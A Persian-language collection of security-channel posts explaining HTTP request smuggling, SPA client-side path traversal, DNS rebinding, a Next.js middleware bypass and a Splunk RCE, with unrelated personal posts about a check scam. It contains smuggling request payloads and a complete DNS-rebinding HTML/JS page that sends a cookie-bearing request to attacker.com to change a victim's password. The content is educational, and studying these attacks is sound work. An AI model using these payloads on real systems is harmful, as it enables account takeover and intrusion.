با Django یه پروژه ساده زدم
کلا بخوام تا الان مقایسه کنم با node js ، جنگو ساختارش خیلی منطقی بود و قشنگ میشد تفاوت بین Single-Threaded تویه node js و حالا استفاده از Event Loop هاش برای مدیریت درخواست ها با Thread-based Processing تویه Django و اینکه اگه تعداد درخواست ها زیاد بشه از multi threads استفاده میکنه رو میشد دید

HTTP Request Smuggling

اول اینکه Smuggling یعنی چی؟
به معنی قاچاق هس، یعنی ما بیایم یه درخواست رو تویه یه درخواست دیگه پنهانش کنیم به خاطر اختلاف در تفسیر HTTP request بین فرانت سرور و بک‌اند سرور.

چرا به وجود میاد؟
به خاطر Inconsistency (ناهماهنگی) بین سرور فرانت و بک‌اند در پردازش هدرهای Content-Length و Transfer-Encoding. یعنی هر دو روی یه هدر توافق ندارن و هر کدوم یه مورد رو قبول دارن.

مثلاً:
- سرور فرانت (Nginx) ممکنه Content-Length رو پردازش کنه.
- سرور بک‌اند (Apache) ممکنه Transfer-Encoding رو پردازش کنه.

سرور فرانت منظورم هر پراکسی که بین کلاینت و سرور بک‌اند (داخلی) باشه میگیم که میتونه CDN، Reverse Proxy، ... باشه.

تویه این فرآیند بین کلاینت تا سرور فرانت و تا بک‌اند یه سری ویژگی‌ها و نکاتی هس که باعث میشه این آسیب‌پذیری به وجود بیاد:
تویه پروتکل HTTP 1.1 چند تا ویژگی جدید میاد نسبت به ورژن 1.0 مثل:

- Pipeline
یعنی چند درخواست بدون انتظار برای پاسخ ارسال بشن و سرور به ترتیب (FIFO) پردازش کنه. یعنی درخواست اول اولین جواب رو داره.

- Keep-Alive
یعنی یک اتصال TCP برای چند درخواست باز بمونه که باعث میشه سرعت بیشتر بشه و دیگه TCP Handshake (قبلاً گفتم دربارش) برای هر درخواست نداشته باشیم.

حالا اینا اصلاً کجای این آسیب‌پذیری نقش دارن؟
بین فرانت سرور تا بک‌اند سرور معمولاً از keep-alive, pipeline استفاده نمیشه،
ولی کلاینت تا سرور فرانت میتونه pipeline باشه.

یه مثال بزنم:

POST / HTTP/1.1
Host: example.com
Content-length: 6
Content-length: 5

12345G

چی میشه اینجا؟
1. این پکت میرسه به سرور فرانت
- سرور فرانت میاد و Content-length: 6 رو پردازش میکنه.
- دیگه کاری به Content-length: 5 نداره و کل body رو به بک‌اند سرور میفرسته.

2. این پکت می‌رسه به بک‌اند سرور
- بک‌اند میاد Content-length: 5 رو پردازش میکنه.
- ولی چون درخواستی که ارسال کردیم body بیشتر از 5 بایت هست، دو تا درخواست حسابش میکنه.
- و چون نمیتونه pipeline ارسال کنه، حرف "G" تویه buffer خودش ذخیره میشه و هر موقع درخواست بعدی اومد به درخواست بعدی prefix میکنه که باعث تغییر درخواست میشه.

GPOST / HTTP/1.1
Host: example.com

و حالاس که کاربر بعدی bad request میگیره.

انواع مختلفی داره پردازش Content-length و Transfer-Encoding توسط فرانت سرور و بک اند سرور :
- میتونه CL.TE باشه (ینیContent-length توسط فرانت پردازش بشه و Transfer-Encoding توسط بک اند سرور )

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

جای SMUGGLED میتونیم درخواست دلخواه بزاریم
- یا میتونه TE.CL باشه‌(برعکس بالایی)

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

-میتونه هم TE.TE باشه

Transfer-Encoding: ;chunked
Transfer-Encoding : chunked

تویه این موردم تلاش می‌کنیم که فرانت سرور یکی از TE رو پردازش کنه و بک اند هم یه نوع دیگه

دوستان با فردی برید تو رابطه که سهام عدالت داشته باشه

یه مطلبی میخوام بگم ربطی هم به موضوعات چنل نداره ولی خوب

اقا امشب یه جنسی میخواستم به یه نفر بفروشم که برای هزینش میخواس چک بده
فرایند کلا پاس شدن چک اینطوریه که شناسه چک رو تویه همراه بانک باید وارد کنی و بعد تایید کنی که اقا این چک رو از این شخص گرفتی (فرایند چک صیادی)

این اقای محترم چیکار کرده بود ؟ اول اینکه چکی که فرستاده بود تاریخش که به فارسی بود رو اشتباه نوشته بود و خیلی شانسی دیدم که مال سه سال پیشه(خیلی ناخوانا و بد جا نوشته بود) ولی تاریخ به عدد درست بود.

موضوع مهم ترش اینه که وقتی رفتم که تایید کنم چک رو تویه همراه بانک اصلا چکی ثبت نشده بود و وقتی بهش گفتم اصرار کرد که ثبت کردم و سندش رو واست فرستادم.
وقتی سندش رو دیدم کلا شناسه چک ها فرق میکرد . شک کردم که نکنه سند جعلی فرستاده . رفتم شناسه رو تویه همراه بانک چک کردم و دیدم بله ایشون واقعا چنین چکی به اسم من ثبت کرده ولییی اصلا اون چکه دست من نیسسس(که شانس اوردم تایید نکردم چکووو) . ممکنه بپرسید چی میشد وقتی چک رو به نامت ثبت کرده ولی خود لاشه چک پیشت نیس؟ نکته اینجاس که اگه کار به شکایت میرسید ایشون میگفت اقای قاضی ببین من چک رو ثبت کردم و ایشون خودش چک رو گم کرده و ...
و حالا من می ماندم و پوسته گردو

خلاصه که به کسی اعتماد صد در صد نکنید و هیچوقت تویه رو در بایستی (نمیدونم چطوری نوشته میشه) گیر نکنید

عیدتونم پیش پیش مبارک ❤️✨️

این آسیب پذیری بیشتر تو مدرن اپلیکیشن ها رخ میده
توی SPA ها موقعی که دولوپر بخواد یه درخواست api بزنه و auth token یوزر رو هم تو اون درخواست بفرسته میاد از fetch یا xhr استفاده میکنه
بعد اینجا دولوپر باید حواسش باشه, موقعی این آسیب پذیری رخ میده که input یوزر بدون کنترل شدن بره تو مسیر درخواست اون api بشینه
مثلا ما این مسیر رو توی ui اون SPA باز میکنیم

/profile?id=12345

بعد موقعی که dom پارس میشه و کد دولوپر ران میشه
اون میاد یه درخواست به api اینجوری میزنه

/api/v1/users/12345

و توی ریکویست میبینیم هدر authorization و حتی csrf token هم وجود داره چون دولوپر یه fetch زده و این توکن هارو هم تو درخواست گذاشته
حالا اگه این id که اینپوت یوزر هست درست سنیتایز نشه ما میتونیم تو مسیر api بریم عقب و به هر مسیری که خواستیم درخواست authenticate شده بفرستیم و معمولا csrf میزنن

مسیر پیشرفت تکنولوژی در توسعه وب

داشتم در موردش می‌خوندم چیزای جالبی داشت.

ایده اصلی تکنولوژی‌های قدیمی همچنان در حال تغییر هستن و فناوری‌های جدید جایگزین آن‌ها میشن. اوایل وب‌سایت‌ها مجموعه‌ای از فناوری‌ها به اسم LAMP استفاده می‌کردن:

- Linux (سیستم‌عامل)
- Apache (وب‌سرور)
- MySQL (پایگاه‌داده)
-PHP

اما یه مشکلی که پیش اومد این بود که PHP به‌صورت سنتی فرآیندهای همزمان (Asynchronous) را پشتیبانی نمی‌کنه و همچنین، Apache به ازای هر درخواست یک پردازش (Process) جدید باز می‌کنه که در حجم بالا باعث کندی سرور می‌شه. همچنین MySQL نمی‌تونه داده‌های غیرساختاریافته (مثل JSON و XML) ذخیره کنه.

حالا اومدن از MEAN و MERN استفاده می‌کنن:

MEAN = MongoDB + Express.js + Angular + Node.js
یا
MERN = MongoDB + Express.js + React + Node.js

JavaScript
در تمام قسمت‌های برنامه استفاده می‌شه (هم در فرانت‌اند، هم در بک‌اند).
MongoDB
به‌عنوان پایگاه داده‌ی NoSQL داده‌ها را سریع‌تر و راحت‌تر مدیریت می‌کنه.
Express.js و Node.js باعث اجرای سریع‌تر و کم‌مصرف‌تر سرور می‌شن.

و SPA اومد باعث می‌شه که سایت‌ها سریع‌تر بشن. SPA (Single Page Application) یعنی یک وب‌سایت که فقط یک صفحه داره و محتوا به‌صورت دینامیک و بدون بارگذاری مجدد صفحه تغییر می‌کنه.

و همین‌طورCloud و DevOps آمدند تا مدیریت سرورها را آسان‌تر کنند.
مثلا Cloud Computing (رایانش ابری) به جای اینکه خودمون سرورهای فیزیکی را مدیریت کنیم، شرکت‌های ابری مثل AWS، Google Cloud، و Azure این کار را برای ما انجام می‌دن و DevOps (مخفف Development Operations) یعنی توسعه‌دهندگان و تیم عملیات با هم کار کنند تا برنامه‌ها سریع‌تر و بهتر اجرا بشن .


و در نهایت Serverless Architecture اومدن که نیاز به مدیریت سرور از بین بره.
در گذشته، وقتی می‌خواستین برنامه‌ای اجرا کنین، باید یک سرور اجاره می‌کردین و همیشه آن را روشن نگه می‌داشتین. اما در معماری Serverless، شما فقط کد می‌نویسید و شرکت‌های ابری (مثل AWS یا Google Cloud) خودشان اجرای آن را مدیریت می‌کنن.

CVE-2025-29927 – Next.js Middleware Authorization Bypass
*
CVSS 9.8
*
WriteUp

DNS Rebinding

در حمله DNS Rebinding، کاربر لاگین شده توی example.com که یک سرور داخلی هم داره، می‌خواد وارد وب‌سایت attacker.com بشه. حالا مرورگر درخواست DNS می‌ده و باید attacker.com رو resolve کنه به یه IP معتبر. مهاجم TTL رو کم می‌زاره که مرورگر مجبور بشه دوباره attacker.com رو resolve کنه.

اینطوری resolve می‌شن:

- attacker.com → 1.2.3.4 (IP public)
- attacker.com → 192.168.1.1 (سرور داخلی)

بعد چند ثانیه، attacker.com به یه IP داخلی resolve می‌شه و مرورگر فکر می‌کنه که هنوز داره با attacker.com کار می‌کنه در صورتی که به سرور داخلی example.com داره اشاره می‌کنه. این ممکنه به خاطر DNS caching باشه یا مرورگر وقتی درخواست HTTP یا جاوا اسکریپت رو اجرا می‌کنه، فقط نگاه می‌کنه که نام دامنه (attacker.com) تغییری نکرده باشه. از نظر مرورگر، همچنان attacker.com در حال اجراست، فقط IP پشت این نام عوض شده (که چیزی غیرعادی نیست!). و چون same-origin هنوز معتبره، جاوا اسکریپت مخرب توی attacker.com می‌تونه به اطلاعات سرور داخلی example.com دسترسی داشته باشه و درخواست‌های مخرب ارسال کنه.

مثلاً اگه درخواست به سرور داخلی (internal_server) از طریق example.com با کوکی هندل شده باشه، می‌شه چنین کاری انجام داد:

<!DOCTYPE html>
<html>
<head>
    <title>DNS Rebinding Attack</title>
</head>
<body>
    <h1>Loading...</h1>
    <script>
        async function hack() {
            try {
                console.log(" Waiting for DNS change...");
                await new Promise(resolve => setTimeout(resolve, 5000)); // Wait for DNS change

                console.log(" Sending request to victim's router...");
                const response = await fetch("http://attacker.com/change-password", {
                    method: "POST",
                    body: JSON.stringify({ newPassword: "hacked" }),
                    headers: { "Content-Type": "application/json" },
                    credentials: "include" // Send victim's authentication cookies!
                });

                const data = await response.text();
                console.log(" hacked!", data);
            } catch (error) {
                console.error("Failed to hack :", error);
            }
        }

        hack();
    </script>
</body>
</html>

مثلاً توی این کد بعد مدت ۵ ثانیه، دوباره attacker.com باید resolve بشه و حالا به سرور داخلی example.com اشاره می‌کنه که یه درخواستی ارسال می‌کنه که کوکی‌های کاربر هم داخلش هست و می‌تونه پسورد کاربر رو عوض کنه.

مثلا تویه این کد فقط یه بار چک میکنه ip رو و درخواست رو ارسال میکنه که میتونیم بعدش یه ip دیگه resolve کنیم براش

سلام به همه دوستان امنیتی! 🌍✨

در هفته 45 از برنامه GO-TO CVE، به بررسی یک آسیب‌پذیری خطرناک در Next.js می‌پردازیم که باعث دور زدن احراز هویت در برخی از مسیرها می‌شود! 🚨

📱 Week: 45
🔍 CVE: CVE-2025-29927
💻 Type: 🔓 Authorization Bypass
🛠 Framework: Next.js 15.0.3

🔴 مشکل کجاست؟
در نسخه‌های آسیب‌پذیر Next.js، مشکل در Middleware باعث می‌شود که مهاجم بتواند سیاست‌های احراز هویت و محدودیت‌های امنیتی را دور بزند. این ضعف امنیتی به مهاجمان امکان می‌دهد تا بدون احراز هویت، به مسیرهای حساس و داده‌های محافظت‌شده دسترسی پیدا کنند.

⚠️ چرا این آسیب‌پذیری مهم است؟
✅ امکان دسترسی غیرمجاز به APIهای حساس و داده‌های کاربران
✅ سوءاستفاده برای استخراج اطلاعات کاربران و اجرای حملات CSRF یا SSRF
✅ قابل ترکیب با Cache-Poisoning برای از کار انداختن برخی صفحات سایت
✅ خطر افشای اطلاعات در سرویس‌های مبتنی بر Edge Functions و CDN


📢 برای اطلاعات بیشتر و راهکارهای امنیتی، با ما همراه باشید!
🔗 پیوستن به کانال تلگرام: https://t.me/GOTOCVE
#week_45

خب Splunk یه نرم افزار برای تحلیل و مدیریت لاگ هاست که خب از لاگ ها هم برای نظارت بر سیستم ها استفاده می‌شه.
آسیب پذیری که روش پیدا شده یه کاربر معمولی با سطح دسترسی پایین میتونه رویه Splunk کد اجرا کنه.
چطوری این اتفاق میوفته؟
فرض کنید Splunk مثل یک کتابخانه بزرگ هس که اطلاعات را ذخیره و مدیریت می‌کنه. تویه این کتابخانه، یک بخش خاص به نام

$SPLUNK_HOME/var/run/splunk/apptemp 

وجود دارد که کاربران می‌تونن یه سری فایل‌ ها رو اونجا آپلود کنن.حالا تویه نسخه قدیمی این آسیب پذیری به وجود اومده و به درستی این مسیر قفل نشده

مثلا یک کاربر معمولی (که مدیر نیس) و فقط دسترسی به این مسیر داره (مثلا یه نفر که میخواد یه سری فایل CSV تویه Splunk ذخیره کنه تا بقیه افراد تحلیل کنن) می‌تونه یک فایل مخرب (مثلاً یک اسکریپت) رو تویه این مسیر آپلود کنه و میشه باهاش RCE گرفت.